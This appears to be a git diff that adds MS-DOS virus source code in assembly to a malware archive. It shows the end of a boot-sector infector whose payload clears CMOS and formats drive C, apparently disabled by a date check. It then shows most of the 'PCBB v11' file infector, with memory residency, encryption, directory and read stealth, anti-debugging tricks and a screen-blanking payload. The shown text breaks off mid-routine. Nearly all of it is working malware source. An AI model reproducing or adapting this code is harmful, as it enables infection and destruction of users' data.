CX + PUSH DX + PUSH DI + PUSH ES + PUSH CX ;save a few register values a + PUSH DX ;second time to be used by + PUSH BX ;the virus interrupt handler + TEST DL,080 ;fixed drive I/O? + JNZ EXIT_1 ;if so, then exit handler + ES: + CMP WORD PTR [BX+01FE],0AA55 ;boot sect. in buffer? + JNE EXIT_1 ;if not, exit handler + CALL CALC_TRACK ;if so, calc. reloc. track/sector # + JB EXIT_1 ;if not standard format, exit + CS: + MOV [0044],CX ;store reloc. track/sect. within virus + CS: + MOV [0047],DX ;store reloc. head/drive within virus + POP BX ;restore orig. buffer offset + MOV AX,0301 ;select write-one-sector + PUSH AX + CALL BIOS_INT13 ;relocate boot sector + POP AX ;restore some registers + POP DX + POP CX + JB EXIT_2 ;if I/O flag = failure, exit + XOR BX,BX ;set I/O buffer to virus start + PUSH CS + POP ES ;set ES=CS + CALL BIOS_INT13 ;write virus to boot sector + JMP EXIT_2 ;exit handler + +EXIT_1: + POP BX ;restore registers + POP DX + POP CX + +EXIT_2: + POP ES ;restore registers + POP DI + POP DX + POP CX + POP BX + POP AX + POPF ;pop flags to hide I/O errors + JMP EXIT2BIOS ;jump to exit to BIOS + +CALC_TRACK: + MOV DI,DX ;load DI with head/drive # + ES: + MOV AX,[BX+013] ;load total # sectors on disk from BPB + ES: + MOV CX,[BX+018] ;load # of sectors per track from BPB + OR AX,AX ;test AX for 00h + JZ BPB_FAIL ;if zero, non-standard format, so exit + JCXZ BPB_FAIL ;ditto for CX + XOR DX,DX ;clear DX for remainder storage + DIV CX ;divide AX by CX + OR DX,DX ;test DX for 00h (no remainder) + JNZ BPB_FAIL ;if <> 0, non-standard format, so exit + ES: + MOV BX,[BX+01A] ;load # of disk sides from BPB + OR BX,BX ;test BX for 00h + JZ BPB_FAIL ;if zero, non-standard format, so exit + DIV BX ;divide AX by BX + OR DX,DX ;test DX for 00h (no remaider) + JNZ BPB_FAIL ;if <> 0, non-standard format, so exit + DEC AL ;decr. AL to obtain # of last track + MOV CH,AL ;set track # for boot sect. relocation + DEC BL ;decr. BL to obtain # of last head + MOV DX,DI ;restore head/drive information + MOV DH,BL ;set head # to last head + CLC ;clear carry flag to indicate success + RET + +BPB_FAIL: + STC ;set carry flag to indicate failure + RET + +BIOS_INT13: + PUSHF ;push flags + CS: + CALL FAR D[01B7] ;call BIOS INT13h handler via stored + RET ;address + +;**************************************************************************** +;Check date for activation (routine modified to prevent activation). + +CHECK_DATE: + MOV AH,04 ;request date function + INT 01A ;request date + CMP DX,02BAD ;check for trigger date + JE ZAP_CMOS ;the route to unethical (and illegal) + RET ;behavior + +;**************************************************************************** +;Clear contents of CMOS system configuration memory. + +ZAP_CMOS: + MOV CX,00FF ;set CMOS count (03Ch would have been + ;adequate, according to my reference) +ZCLP1: MOV DX,0070 ;set port #70h + MOV AL,CL ;set configuration address + OUT DX,AL ;select CMOS address + JMP WHY ;don't understand the need for this +WHY: INC DX ;set port #71h + XOR AL,AL ;set data value to zero + OUT DX,AL ;write data value to CMOS + LOOP ZCLP1 ;do it until CMOS count = 0 + +;***************************************************************************** +;Obtain format data from fixed disk "C" partition table. + + MOV DI,[03C4] ;ending cyl/sector #'s from prtn. tbl. + AND DI,-040 ;mask out ending sector number + MOV CL,06 ;load CL with number of shifts + SHR DI,CL ;shift to obtain ending cylinder # + MOV AL,[03C3] ;ending head # from partition table + XOR AH,AH ;zero AH + XCHG BP,AX ;store ending head # in BP + MOV BX,01F5 ;point to sector format info. table + MOV DX,0080 ;select fixed disk "C" + +;***************************************************************************** +;Trash fixed disk "C" by formatting entire partition. If my interpretation of +;this routine is correct, it formats each platter side before incrementing the +;head count to format the next platter. The destructive "advantage" of this, +;I believe, would be that the deletion of code segments from large numbers +;of files would be accomplished very quickly, rendering executable or ZIPed +;files as useless as if they were totally deleted, but in a much shorter time. + +TRASH_HD: + XOR CX,CX ;set cylinder # to zero + +FORMAT_TRACK: + MOV AX,0501 ;format-track function, interleave 1 + CALL BIOS_INT13 ;format track (cylinder) + AND CL,0C0 ;mask for cylinder # bits 6-7 + ROL CL,01 ;shift to bits 6-7 of cylinder number + ROL CL,01 ;into bottom two (0-1) bits of CL + XCHG CL,CH ;put bottom two bits in CH to match + ;DI bit arrangement + INC CX ;increment track count + CMP CX,DI ;last cylinder (CX bit pattern match + ;DI bit pattern)? + JA NEXT_HEAD ;if so, increment head number + XCHG CL,CH ;put CL back to where it started + ROR CL,01 ;shift to obtain + ROR CL,01 ;original value + JMP FORMAT_TRACK ;format next track + +NEXT_HEAD: + INC DH ;increment head number + MOV AX,BP ;load AX with last head number + CMP DH,AL ;last head? + JBE TRASH_HD ;if not, do it again + +;**************************************************************************** +;Display activation message. + + MOV SI,OFFSET MESSAGE_TEXT ;load offset of message text +DMLP1: CLD ;clear direction flag (fwd) + LODSB ;load character of message + OR AL,AL ;check for text end (0) + JZ LOCK_IT_UP ;if end of message, lock up system + MOV AH,0E ;select write-character function + XOR BX,BX ;page 0, color 0 + INT 010 ;display character on screen + JMP DMLP1 ;do it all again + +LOCK_IT_UP: + CLI ;disable interrupts + HLT ;select 0.0 Mips mode + +;***************************************************************************** +;Storage area for BIOS INT13 vector used by virus. + + DB ? ;Pad byte (A86 assembly only) + DW ? ;BIOS INT13 offset storage location + DW ? ;BIOS INT13 segment storage location + +;***************************************************************************** +;Text strings for activation message. + +MESSAGE_TEXT: + DB 0A,0D ;linefeed, carriage ret. + DB "That was for ARCV, mother fucker!" + DB 0A,0A,0D ;linefeed x 2, car. ret. + DB "Payback! (c) 1993" + DB 0A,0D ;linefeed, carriage ret. + +;***************************************************************************** +;End-of-boot sector pad bytes and valid boot sector tag bytes. + + DB 10 DUP ? ;pad bytes + DB 055,0AA ;valid boot sector tag + +;**************************************************************************** +;Start of space reserved for disk I/O + +MBR_BUFFER: + + DB 512 DUP ? ;reserve one sectors worth of space + +;**************************************************************************** +;Storage location for INT13 vector used by dropper routine. + +VECT_INT13: + + DD ? ;BIOS INT13 offset/segment storage + +MAIN ENDS + diff --git a/MSDOS/Virus.MSDOS.Unknown.pcbb-11.asm b/MSDOS/Virus.MSDOS.Unknown.pcbb-11.asm new file mode 100644 index 00000000..ec87750b --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pcbb-11.asm @@ -0,0 +1,1428 @@ +sec equ 28 +ideal equ 3*1024 ;every file will increase by this ammount of bytes + +; °°°°°°° °°°°°° °°°°°°° °°°°°°° +; °±±±±±±±° °±±±±±±° °±±±±±±±° °±±±±±±±° +; °±²²²²²²²±° °±²²²²²²±° °±²²²²²²²±° °±²²²²²²²±° +; °±²ŪŪŪŪŪŪŪ²±° °±²ŪŪŪŪŪŪ²±° °±²ŪŪŪŪŪŪŪ²±° °±²ŪŪŪŪŪŪŪ²±° +; °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° +; °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²²²²±° °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° +; °±²ŪŪŪŪŪŪŪ²±° °±²ŪŪŪŪ²±±±° °±²ŪŪŪŪŪŪŪ²±° °±²ŪŪŪŪŪŪŪ²±° +; °±²ŪŪŪŪ²²²±° °±²ŪŪŪŪ²²²²±° °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° +; °±²ŪŪŪŪ²±±° °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° °±²ŪŪŪŪ²ŪŪŪ²±° +; °±²ŪŪŪŪ²±° °±²ŪŪŪŪŪŪ²±° °±²ŪŪŪŪŪŪŪ²±° °±²ŪŪŪŪŪŪŪ²±° +; °±²²²²±° °±²²²²²²±° °±²²²²²²²±° °±²²²²²²²±° +; °±±±±° °±±±±±±° °±±±±±±±° °±±±±±±±° +; °°°° °°°°°° °°°°°°° °°°°°°° +; +Ver equ 11 +; + +cpt1 equ $ ;Checkpoint 1 + +enc_start equ $ +org 100h + call dummyjmp1 + +marker db 0 ;com / exe marker (0=com, 1=exe) + +dummyjmp1: pop bx + + cmp byte [bx],0 + je is_a_com + + mov ax,es + add ax,0 +exe_cpt1 equ $-2 + push ax + mov ax,0 +exe_cpt2 equ $-2 + push ax + + push es + pop ds + jmp cont_install + +is_a_com: + push cs + mov ax,100h + push ax + +cont_install: + push ds + + push cs + pop ds + + call one_three + + mov ax,0C001h + mov bx,ax + add ax,07DFFh + + db 0EBh,01,0EBh + + int 21h + + db 0E9h,1,0,0B8h + + cmp bx,0D00Dh + je startup_fail + + call one_three + +; cmp sp,-10h +; jb startup_fail + + mov ax,es + dec ax + mov es,ax + cmp byte es:[0000h],'Z' + jne startup_fail + + mov ax,es:[0003h] + sub ax,tsr_para + jc startup_fail + + mov es:[0003h],ax + sub word ptr es:[0012h],tsr_para + mov es,es:[0012h] + + call one_three + + call $+3 + +cpt3 equ $ ;Checkpoint 3 + + pop si + sub si,(cpt3-cpt1) + mov bx,si + add si,(cpt4-cpt1) + push cs + push si + + mov si,bx + mov cx,offset total-100h + mov di,100h + push es + rep movsb + mov di,offset init + push di + + retf +cpt4 equ $ ;Checkpoint 4 + +startup_fail: + call $+3 +dummycpt1 equ $-offset marker + sub ax,ax + xor bx,bx + sub cx,cx + xor dx,dx + xor di,di + sub bp,bp + pop si + pop ds + push ds + pop es + cmp byte cs:[si-dummycpt1],1 + je file_is_exe + + mov word [100h],20CDh +rpl1 equ $-2 + mov byte [102h],90h +rpl2 equ $-1 + +file_is_exe: + sub si,si + retf + +cpt2 equ $ ;Checkpoint 2 + +;**************************************************************************** +;* Data Area * +;**************************************************************************** + +;sft equ 005Ch ;3Ah + +ofs_scan_crc equ 0050h ;+3 +ofs_chk_ver equ 0053h ;+1 version number +ofs_chk_size equ 0054h ;+2 version size +ofs_chk_sig equ 0056h ;+4 signature + +header equ 005Ah +ofs_first_3 equ 005Ah ;+3 three first bytes in COM +ofs_time equ 008Dh ;+2 +ofs_date equ 008Fh ;+2 +ofs_attr equ 0091h ;2 + +sft_attr equ 04h ;(byte) +sft_time equ 0Dh ;(word) +sft_date equ 0Fh ;(word) +sft_size equ 11h ;(dword) + +; ;CRC signature added by "SCAN /AV" +;scan_sig db 0f0h,0fdh,0c5h,0aah,0ffh,0f0h + +set_sgm: push cs + push ds + + +f_size dw 0 +bb_stat db 0 +cntr dw 0 +r_cntr dw 0,0 + +;;; DISK S. DATA ;;; +x_first3 db ' ' +x_version db 0 +x_size dw 0 +x_sig db ' ' + +stat db 0 +stat2 db 0 + +handle dw 0 + +_handle dw 0 +;_dx dw 0 +;_ds dw 0 +_bytes dw 0 +val_len dw 0,0 +pos dw 0,0 +pos2 dw 0,0 + +append dw 0 + +stealth1st dw 0 + +;;;DISK S DATA ENDS;;; + +;db 'Only The Good Die Young' + + +jmp_to dw 0 + +push_all: + pop cs:[jmp_to] + push ax + push bx + push cx + push dx + push si + push di + push ds + push es + push bp + jmp cs:[jmp_to] + +pop_all: + pop cs:[jmp_to] + pop bp + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp cs:[jmp_to] + + + + + +handle_dir: + popf + call int21 + + pushf + jnc back_handle_dir + +; cmp ax,0 +; jne back_handle_dir + + call stealth_dir_handle + sti +back_handle_dir: + popf + iret + +fcb_dir: + popf + call int21 + + pushf + cmp al,00h + jne back_fcb_dir + + call stealth_dir_fcb + sti +back_fcb_dir: + popf + iret + + + + +;**************************************************************************** +;* Interupt 24 handler * +;**************************************************************************** +ni24: mov al,3 + iret + +;**************************************************************************** +;* Call OLD Interrupt 21 Handler +;**************************************************************************** +int21: + pushf + call dword ptr cs:org21 + ret + +;**************************************************************************** +;* Interupt 21 handler * +;**************************************************************************** +ni21: pushf + +;cmp ah,40h +;je __read + +;jmp no_fcb12 ;no_bogus + + cmp ah,11h + jne no_fcb11 + jmp fcb_dir +no_fcb11: + cmp ah,12h + jne no_fcb12 + jmp fcb_dir +no_fcb12: + +jmp no_bogus + + cmp ah,03Fh + jne no_bogus +__read: jmp _read + +no_bogus: + cmp ah,03Eh + jne body + cmp bx,0C001h + + jne body + mov bx,0D00Dh + popf + stc + retf 2 + +o24 dw 0,0 +o13 dw 0,0 + +body: + call push_all + + push ax + push ds + push dx + push es + push bx + + xor ax,ax + mov es,ax + les bx,es:[24h*4] + + mov cs:o24[0],bx + mov cs:o24[2],es + mov ax,2524h + mov dx,offset ni24 + push cs + pop ds + call int21 + pop bx + pop es + pop dx + pop ds + pop ax + + + cmp ah,3Eh ;close ? + jne vvv + cmp bx,5 + jl exit + + mov ah,45h ;duplicate handle + jmp doit +vvv: cmp ah,56h ;rename ? + je dsdx + cmp ah,43h ;chmod ? + je dsdx + cmp ah,3Dh + jne not_open + + call pas_wp +not_open: + ; cmp ah,3Dh ;open ? + ; je dsdx + cmp ax,4B00h ;execute ? + jne exit + +dsdx: mov ax,3D00h ;open the file +doit: call int21 + jc exit + xchg ax,bx + jmp infect + +exit: + call reset_i24 + +glemmdet: + call pop_all +alfa: + popf + + db 0EAh ;JMP FAR xxxx:xxxx +org21 dw 0,0 + + +avslussen: mov ah,4Ch + int 21h + +one_three: + ret + pushf + push ax + push ds + push dx + + push cs + pop ds + + call $+3 + pop dx + sub dx,($-1)-offset avslussen + push cs + pop ds + + mov ax,2501h + int 21h + inc al + inc al + int 21h + + pop dx + pop ds + pop ax + popf + ret + + +db 'PCBB v11 (c) Hannibal Lechter of Demoralized Youth Norway' + +;**************************************************************************** +;* Try to stealth a HANDLE READ (3Fh) +;**************************************************************************** +_read: + cmp cs:stat,1 + je alfa + mov cs:stat,1 + cmp bx,5 + jl alfa + jcxz alfa + + mov cs:stat2,0 + call read + cmp cs:stat2,0 + je back2 + + popf + pushf + call dword ptr cs:org21 + jc back3 + + pushf + call push_all + + push ds + pop es + push cs + pop ds + + mov bx,pos[0] + mov cx,stealth1st[0] + + mov di,dx + add di,bx + mov si,offset header ;x_first3 + add si,bx + + cld +first_b2: + movsb + dec cx + jcxz first_b1 + inc bx + cmp bx,24 + jl first_b2 +first_b1: + call pop_all + popf +back3: + mov cs:stat,0 + mov cs:stat2,0 + iret +back2: + mov cs:stat,0 + mov cs:stat2,0 + jmp alfa + +;**************************************************************************** +;* Close the file +;**************************************************************************** +close: + push cx + push dx + + mov ax,5701h + mov cx,word cs:[ofs_time] + mov dx,word cs:[ofs_date] + call int21 + +; mov al,byte cs:[ofs_attr] +; mov byte [di+4],al + +; mov ax,4301h +; mov cx,word cs:[ofs_attr] +; call int21 + + pop dx + pop cx + + mov ah,3Eh + call int21 + ret + + +;db 'Now I lay me down to sleep, I pray the lord my soul to keep, If I die before ' +;db 'I wake, I pray the lord my soul to take' + +infect: cld + + mov cs:handle,bx + + mov ax,5700h + int 21h + mov word cs:[ofs_time],cx + mov word cs:[ofs_date],dx + + +;start NOP'ing here... +; push es +; push bx +; +; mov ax,3513h +; int 21h +; +; mov cs:o13[0],bx +; mov cs:o13[2],es +; +; mov ah,13h +; int 2Fh +; push es +; push bx +; int 2Fh +; pop dx +; pop ds +; mov ax,2513h +; int 21h +; +; pop bx +; pop es +; +;stop NOP'ing here... + + mov ax,1220h ;get file-table entry + push bx + push ax + int 2Fh + mov bl,es:[di] + pop ax + sub al,0Ah + int 2Fh + pop bx + + push es + pop ds + + push [di+2] ;save attr & open-mode + push [di+4] + + mov al,[di+4] + mov byte cs:[ofs_attr],al + + cmp word [di+sft_size+2],0 + jne close1v + mov ax,word [di+sft_size] + cmp ah,0F0h + ja close1v + cmp ah,0 + jl close1v + + mov cs:f_size,ax + + cmp word ptr [di+28h],'XE' + jne not_exe + cmp word ptr [di+2Ah],'E' + je check_name + +not_exe: cmp word ptr [di+28h],'OC' + jne close1v ;jne + cmp byte ptr [di+2Ah],'M' +check: je check_name +close1v: jmp close1 + +check_name: cmp byte ptr [di+20h],'V' ;name is V*.* ? + je close1v + cmp byte ptr [di+20h],'F' ;name is F*.* ? + je close1v + + mov cx,7 ;name is *SC*.* ? + mov ax,'CS' + push di + add di,21h + cld +SCloop: dec di + scasw + loopnz SCloop + pop di + je close1v + + mov byte ptr [di+2],2 ;open for read/write + mov byte ptr [di+4],0 ;clear attributes + + cld + jmp read_info +_call1: + jc close2 +; push [di+0Dh] +; push [di+0Fh] + + jmp patch_it +_call0: +; pop [di+0Fh] +; pop [di+0Dh] +close2: + + push es ;close after infection + pop ds + + or byte ptr [di+6],40h ;no time-change + +; pop [di+4] +; pop [di+2] +; push [di+2] +; push [di+4] + +close1: call close ;normal close + + or byte ptr [di+5],40h ;no EOF on next close + pop [di+4] ;restore attribute & open-mode + pop [di+2] + +;start NOP +; lds dx,cs:o13[0] +; mov ax,2513h +; call int21 +;stop NOP + + + jmp exit + +read_info: + push ds + + push ds ;(ds) + pop es + + push cs + pop ds + + mov ah,3Fh + mov cx,18h + mov dx,ofs_first_3 + call int21 + jc failed + cmp al,18h + jne failed + + xchg cx,ax + shr cx,1 + mov si,ofs_first_3 + mov di,offset dummy + +encr_l8b: + lodsw + xor ax,'IF' + xor ax,'HS' + xor ax,'W&' + xor ax,'AH' + xor ax,'EL' + mov [di],ax + inc di + inc di + loop encr_l8b + + mov ax,4202h + mov cx,-1 + mov dx,-10 + call int21 + jc failed + + mov ah,3Fh + mov cx,10 + mov dx,ofs_scan_crc + call int21 + jc failed + cmp al,10 + jne failed + + mov ax,word ptr [ofs_first_3] + not ax + + cmp word ptr [ofs_chk_sig],'CP' ;is word [EOF-4] = 'PC' ? + jne not_infected + cmp word ptr [ofs_chk_sig+2],'BB' ;is word [EOF-2] = 'BB' ? + jne not_infected + jmp failed + +not_infected: + pop ds + clc + jmp _call1 +failed: + pop ds + stc + jmp _call1 + +;db 13,10 +;db "Whoe to you of earth and sea...",13,10 +;db "For the devil sends the beast with wrath,",13,10 +;db "Because he knows the time is short...",13,10 +;db "The people who have understanding,",13,10 +;db "Reckon the number of the beast,",13,10 +;db "Because it is a secret number...",13,10 +;db "It's number is six-hundred and sixty-six!",13,10,36 + +db 'When you are demoralized.... there is NO way out!',13,10,36 + +;³ŻŪßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŪŽ³ +;³ŻŪ Keyboard (Int 09h) Handler ŪŽ³ +;³ŻŪÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŪŽ³ +key_rout: + pushf + + inc cs:r_cntr[0] + adc cs:r_cntr[2],0 + + inc cs:cntr + cmp cs:cntr,offset total + jl key_b1 + mov cs:bb_stat,1 + mov cs:cntr,0 +key_b1: + cmp cs:bb_stat,0 + je key_b2 + + push ax + push cx + push dx + push ds + + xor ax,ax + mov ds,ax + mov al,byte ptr [417h] + and al,15 + cmp al,15 + jne key_b3 + + mov cs:bb_stat,0 + + mov dx,3DAh + in al,dx + mov dx,3BAh + in al,dx + mov dx,3C0h + mov al,20h + out dx,al +key_b3: + pop ds + pop dx + pop cx + pop ax +key_b2: + popf + + db 0EAh +old_key dw 0,0 ;old KBD vector + + +;³ŻŪßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŪŽ³ +;³ŻŪ Timer Tick (Int 1Ch) Handler ŪŽ³ +;³ŻŪÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŪŽ³ +tmr_rout: + pushf + + cmp cs:bb_stat,0 + je tmr_b1 + + push ax + push dx + + mov dx,3DAh + in al,dx + mov dx,3BAh + in al,dx + mov dx,3C0h + mov al,0 + out dx,al ;0 = off, 32 = on + + pop dx + pop ax +tmr_b1: + popf + db 0EAh + oldh dw 0,0 ;Old TIMER-TICK vector + +enc_data db 011h,009h,00Dh,0E8h,000h,000h,05Eh,081h,0C6h,00Eh,000h,0B9h,000h + db 000h,080h,034h,000h,046h,0E2h,0FAh,013h,009h,00Fh,0E8h,000h,000h + db 05Bh,081h,0C3h,010h,000h,0B9h,000h,000h,033h,0F6h,080h,030h,000h + db 046h,0E2h,0FAh,015h,004h,012h,0E8h,000h,000h,0B9h,000h,000h,089h + db 0E5h,081h,046h,000h,012h,000h,05Eh,046h,080h,074h,0FFh,000h,0E2h + db 0F9h,015h,001h,012h,0B9h,000h,000h,089h,0E5h,0E8h,000h,000h,081h + db 046h,0FEh,00Dh,000h,05Bh,043h,080h,077h,0FFh,000h,0E2h,0F9h,016h + db 001h,013h,0B9h,000h,000h,08Bh,0DCh,0E8h,000h,000h,036h,081h,047h + db 0FEh,00Eh,000h,05Bh,043h,080h,077h,0FFh,000h,0E2h,0F9h,019h,001h + db 016h,0B9h,000h,000h,08Bh,0DCh,0E8h,000h,000h,083h,0EBh,004h,036h + db 081h,047h,002h,011h,000h,05Fh,047h,080h,075h,0FFh,000h,0E2h,0F9h + db 01Dh,009h,014h,0FCh,0EBh,002h,0C6h,006h,0E8h,000h,000h,0B9h,000h + db 000h,05Eh,081h,0C6h,015h,000h,0EBh,001h,0CDh,0B4h,000h,0ACh,032h + db 0C4h,088h,044h,0FFh,0E2h,0F8h + +encr_h_ofs dw 0 +encr_h_cx db 0 +encr_h_xor db 0 +encr_h_len db 0 + +repl0: db 0E8h,0,0 +repl1: jmp near 0100h + +patch_it: + push di + push si + push ds + + push cs + pop ds + + mov marker,0 + + cmp word [ofs_first_3],'MZ' + je exe_calc + cmp word [ofs_first_3],'ZM' + je exe_calc + + mov ax,f_size + sub ax,3 + mov repl0[1],ax + + mov ax,word [ofs_first_3] + mov dl,byte [ofs_first_3+2] + + mov [offset rpl1],ax + mov [offset rpl2],dl + jmp j_encrypt + +oldl0 dw 0 +oldl2 dw 0 + +exe_calc: + mov ax,4202h + xor cx,cx + xor dx,dx + call int21 + + mov oldl0,ax + mov oldl2,dx + + push ax + push dx + + mov ax,word [header+16h] + add ax,10h + mov word [exe_cpt1],ax + mov ax,word [header+14h] + mov word [exe_cpt2],ax + + pop dx + pop ax + push ax + push dx + + add ax,ideal + adc dx,0 + +; mov ax,oldl0 + mov cx,512 + div cx + inc ax + mov word [header+4],ax + mov word [header+2],dx + + pop dx + pop ax + + mov cx,16 + div cx + sub ax,word [header+8] + mov word [header+16h],ax + mov word [header+14h],dx + + mov marker,1 + +j_encrypt: + call encrypt ;encrypt & write + sahf + jc no_write_1st + + mov ax,4200h + xor cx,cx + mov dx,cx + call int21 + + cmp marker,1 + je exe_jump + + mov ah,40h + mov cx,3 + mov dx,offset repl0 ;write "CALL" head + call int21 + jmp alldone + +exe_jump: mov ah,40h + mov cx,18h + mov dx,ofs_first_3 + int 21h +alldone: + and byte cs:[ofs_time],255-31 + or byte cs:[ofs_time],sec +no_write_1st: + pop ds + pop si + pop di + sahf + jmp _call0; ret + +;db 'Blessed is the one who expects nothing, for he shall not be dissapointed$' + +;³ŻŪßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŪŽ³ +;³ŻŪ Encrypt & Write ŪŽ³ +;³ŻŪÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŪŽ³ +encrypt: + push ds ;Save DS & ES + push es + + push cs ;DS = ES = CS + push cs + pop ds + pop es + + push bx ;Save BX + + cld + call choose_encryption_head ;Choose encryption head +get_enc_key: + db 0E4h,40h + cmp al,0 + je get_enc_key + + mov bh,0 ;BH = 0 + mov bl,encr_h_xor ;BL = internal XOR-ofs + mov byte [si+bx],al ;b [Si+Bx] = Encr. key + mov bl,encr_h_cx ;BL = internal CX-ofs + mov word [si+bx],offset total-10Ah ;w [Si+Bx] = Encr.length + xchg di,ax ;DI = AX + + pop bx + push bx + + push ax + push di + cld + mov di,offset total + mov cx,2048 + mov al,'' + rep stosb + pop di + + xor ch,ch + mov cl,encr_h_len + add cx,offset total-100h + xchg cx,ax + mov cx,ideal + sub cx,ax + mov ah,40h + mov append,cx + mov dx,offset total + mov word [total],1F0Eh + call int21 + pop ax + + mov ah,40h ;Write to handle + pop bx ;restore handle number + xor ch,ch ;CH = 0 + mov cl,encr_h_len ;CL = Length of de-garbler + mov dx,si ;DX = Offset to de-garbler-head + call int21 ;Call DOS + + lahf ;AH = FLAGS + cmp al,cl ;All bytes written? + je success ;yes, then degarbler written + + sahf ;FLAGS = AH + jnc success ;If no error, then... + stc ;...set CY, and... + ret ;...return. +success: + xchg di,ax ;DI = AX + xchg al,ah ;Exchange AL with AH + mov si,100h ;SourceIndex = 100h + mov di,offset total ;DI = End-Of-Code + mov cx,offset total-11Fh ;Encryption length +encrypt_l: + lodsb ;al = [SI], si: +1 + xor al,ah ;garble byte + stosb ;[DI] = al, di: +1 + loop encrypt_l ;and again.... + + xor cx,cx + mov cl,encr_h_len + add cx,(offset total)-100h + add cx,append + mov size,cx + + mov cx,31 ;the last bytes remain + rep movsb ;degarbeled + + mov ah,40h ;Write to handle + mov cx,offset total-100h ;CX = Bytes + mov dx,offset total ;DX = Garbeled code + call int21 ;Call Dos + clc + lahf + cmp al,cl ;all bytes written? + je encr_b1 + stc + lahf +encr_b1: + pop es ;restore ES & DS + pop ds + sahf + ret ;return + + +;³ŻŪßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŪŽ³ +;³ŻŪ Choose which encryption-head to use with this generation, and store ŪŽ³ +;³ŻŪ the pointer and the two internal offsets for later use. ŪŽ³ +;³ŻŪÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŪŽ³ +choose_encryption_head: + mov ah,2Ah ;get date + call int21 ;using DOS + xor ah,ah ;clear bits 9-16 of AX + mov cx,ax ;copy AX into CX + inc cx + and cl,7 + mov si,offset enc_data ;point SI to Enc_Data + + cld ;clear direction flag + +lete_etter_enc: + lodsb ;al=[si] , si=si+1 + add si,ax ;si = si + ax + inc si ;si = si + 1 + inc si ;si = si + 1 + loop lete_etter_enc ;continue the searching ... + +funnet_riktige: + sub si,ax + dec si + dec si + + mov encr_h_len,al + lodsb ;load the CX offset + mov encr_h_cx,al + lodsb ;load the XOR offset + mov encr_h_xor,al + mov encr_h_ofs,si + ret + + +;db 'Eddie lives... Somewhere in time...' + +init: + cli + xor ax,ax + mov ds,ax + mov si,9*4 + mov di,offset old_key + movsw + movsw + add si,(1Ch*4)-(9*4)-4 + mov di,offset oldh + movsw + movsw + add si,(21h*4)-(1Ch*4)-4 + mov di,offset org21 + movsw + movsw + + mov word [09h*4+2],cs + mov word [09h*4], offset key_rout + + mov word [1Ch*4+2],cs + mov word [1Ch*4], offset tmr_rout + + mov word [21h*4+2],cs + mov word [21h*4], offset ni21 + sti + + retf + + +;³ŻŪßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßŪŽ³ +;³ŻŪ Disk Stealth: Read from handle (Int 21h,3Fh) ŪŽ³ +;³ŻŪÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜŪŽ³ +read: + call push_all + + mov cs:_handle,bx + mov cs:_bytes,cx + + push cs + pop ds + + mov ax,1220h + push bx + push ax + int 2Fh + mov bl,es:[di] + pop ax + sub al,0Ah + int 2Fh + pop bx + + cmp word ptr [di+28h],'OC' + jne j_dso1 + cmp byte ptr [di+28h+2],'M' + je j_dso0 +j_dso1: + cmp word ptr [di+28h],'XE' + jne j_dso3 + cmp byte ptr [di+28h+2],'E' + je j_dso0 +j_dso3: + jmp phocked + +j_dso0: + push es:[di+15h] + push es:[di+17h] + push es:[di+2h] + or byte es:[di+2],3 + + mov ax,es:[di+15h] + mov pos[0],ax + mov ax,es:[di+17h] + mov pos[2],ax + + mov ax,es:[di+11h] + mov cx,es:[di+13h] + + sub ax,31 + sbb cx,0 + mov es:[di+15h],ax + mov es:[di+17h],cx + + mov ah,3Fh + mov cx,31 + mov dx,header + call int21 + jnc read_b1 +read_b2: + jmp done_it +read_b1: + cmp al,31 + jne read_b2 + cmp byte [header+18h],11 + jl read_b2 + + cmp word ptr [header+1Bh],'CP' ;[X_sig] + jne read_b2 + cmp word ptr [header+1Bh+2],'BB' ;[X_sig+2] + jne read_b2 + + mov si,header + push cx + mov cx,12 +decr_l8b: + lodsw + xor ax,'EL' + xor ax,'AH' + xor ax,'W&' + xor ax,'HS' + xor ax,'IF' + mov [si-2],ax + loop decr_l8b + pop cx + + cmp word ptr pos[2],0 + + 